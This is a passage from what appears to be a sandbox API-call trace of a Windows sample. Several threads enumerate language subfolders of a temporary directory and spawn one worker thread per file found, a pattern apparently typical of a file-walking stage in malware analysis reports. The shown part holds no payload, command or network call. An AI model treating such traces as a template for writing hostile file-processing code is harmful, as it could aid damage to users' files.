ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.439] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.439] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.439] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x342c570 | out: lpFindFileData=0x342c570*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.439] FindClose (in: hFindFile=0x33e0258 | out: hFindFile=0x33e0258) returned 1 [0062.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c570) returned 1 [0062.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0062.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfe98) returned 1 [0062.440] RtlExitUserThread (Status=0x0) Thread: id = 41 os_tid = 0x344 [0060.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd0d0 [0060.288] wcscpy (in: _Dest=0x33fd0d0, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0060.288] wcscat (in: _Dest=0x33fd0d0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0060.288] wcscat (in: _Dest=0x33fd0d0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1037\\*") returned="C:\\588bce7c90097ed212\\1037\\*" [0060.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e4d0 [0060.289] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0558 [0060.292] wcscmp (_String1=".", _String2=".") returned 0 [0060.292] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.292] wcscmp (_String1="..", _String2=".") returned 1 [0060.292] wcscmp (_String1="..", _String2="..") returned 0 [0060.292] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.292] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.292] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa968 [0060.292] wcscpy (in: _Dest=0x33fa968, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0060.292] wcscat (in: _Dest=0x33fa968, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0060.292] wcscat (in: _Dest=0x33fa968, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf" [0062.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0062.424] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.424] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.424] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426bf0 [0062.424] wcscpy (in: _Dest=0x3426bf0, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0062.424] wcscat (in: _Dest=0x3426bf0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0062.424] wcscat (in: _Dest=0x3426bf0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" [0062.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0062.425] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.425] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.425] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.425] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x342e4d0 | out: lpFindFileData=0x342e4d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.425] FindClose (in: hFindFile=0x33e0558 | out: hFindFile=0x33e0558) returned 1 [0062.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4d0) returned 1 [0062.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0062.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33df958) returned 1 [0062.425] RtlExitUserThread (Status=0x0) Thread: id = 42 os_tid = 0xe88 [0060.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd118 [0060.294] wcscpy (in: _Dest=0x33fd118, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0060.294] wcscat (in: _Dest=0x33fd118, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0060.294] wcscat (in: _Dest=0x33fd118, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1038\\*") returned="C:\\588bce7c90097ed212\\1038\\*" [0060.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342cf28 [0060.294] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e68 [0060.294] wcscmp (_String1=".", _String2=".") returned 0 [0060.294] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.295] wcscmp (_String1="..", _String2=".") returned 1 [0060.295] wcscmp (_String1="..", _String2="..") returned 0 [0060.295] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.295] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.295] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fad28 [0060.295] wcscpy (in: _Dest=0x33fad28, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0060.295] wcscat (in: _Dest=0x33fad28, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0060.295] wcscat (in: _Dest=0x33fad28, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf" [0062.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fad28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0062.419] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.419] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.419] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426b88 [0062.419] wcscpy (in: _Dest=0x3426b88, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0062.419] wcscat (in: _Dest=0x3426b88, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0062.419] wcscat (in: _Dest=0x3426b88, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" [0062.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426b88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0062.420] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.420] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.420] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.420] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.420] FindClose (in: hFindFile=0x3433e68 | out: hFindFile=0x3433e68) returned 1 [0062.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf28) returned 1 [0062.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0062.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33df998) returned 1 [0062.420] RtlExitUserThread (Status=0x0) Thread: id = 43 os_tid = 0xd7c [0060.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd238 [0060.295] wcscpy (in: _Dest=0x33fd238, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0060.295] wcscat (in: _Dest=0x33fd238, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0060.295] wcscat (in: _Dest=0x33fd238, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1040\\*") returned="C:\\588bce7c90097ed212\\1040\\*" [0060.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d190 [0060.296] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433f28 [0060.302] wcscmp (_String1=".", _String2=".") returned 0 [0060.302] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.302] wcscmp (_String1="..", _String2=".") returned 1 [0060.302] wcscmp (_String1="..", _String2="..") returned 0 [0060.302] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.302] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.302] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33faaa8 [0060.302] wcscpy (in: _Dest=0x33faaa8, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0060.302] wcscat (in: _Dest=0x33faaa8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0060.302] wcscat (in: _Dest=0x33faaa8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf" [0062.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33faaa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0062.410] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.410] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.410] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x34270d0 [0062.410] wcscpy (in: _Dest=0x34270d0, _Source="C:\\588bce7c90097ed212\\1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0062.410] wcscat (in: _Dest=0x34270d0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0062.410] wcscat (in: _Dest=0x34270d0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" [0062.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34270d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0062.411] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.411] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.411] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.411] FindNextFileW (in: hFindFile=0x3433f28, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.411] FindClose (in: hFindFile=0x3433f28 | out: hFindFile=0x3433f28) returned 1 [0062.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d190) returned 1 [0062.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd238) returned 1 [0062.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfe58) returned 1 [0062.411] RtlExitUserThread (Status=0x0) Thread: id = 44 os_tid = 0xd90 [0060.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd430 [0060.296] wcscpy (in: _Dest=0x33fd430, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0060.296] wcscat (in: _Dest=0x33fd430, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0060.296] wcscat (in: _Dest=0x33fd430, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1041\\*") returned="C:\\588bce7c90097ed212\\1041\\*" [0060.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0060.296] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ee8 [0060.301] wcscmp (_String1=".", _String2=".") returned 0 [0060.301] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.301] wcscmp (_String1="..", _String2=".") returned 1 [0060.301] wcscmp (_String1="..", _String2="..") returned 0 [0060.301] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.301] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.301] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33faa58 [0060.301] wcscpy (in: _Dest=0x33faa58, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0060.301] wcscat (in: _Dest=0x33faa58, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0060.302] wcscat (in: _Dest=0x33faa58, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf" [0062.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33faa58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0062.413] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.413] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.413] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.413] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427138 [0062.413] wcscpy (in: _Dest=0x3427138, _Source="C:\\588bce7c90097ed212\\1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0062.413] wcscat (in: _Dest=0x3427138, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\" [0062.413] wcscat (in: _Dest=0x3427138, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" [0062.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 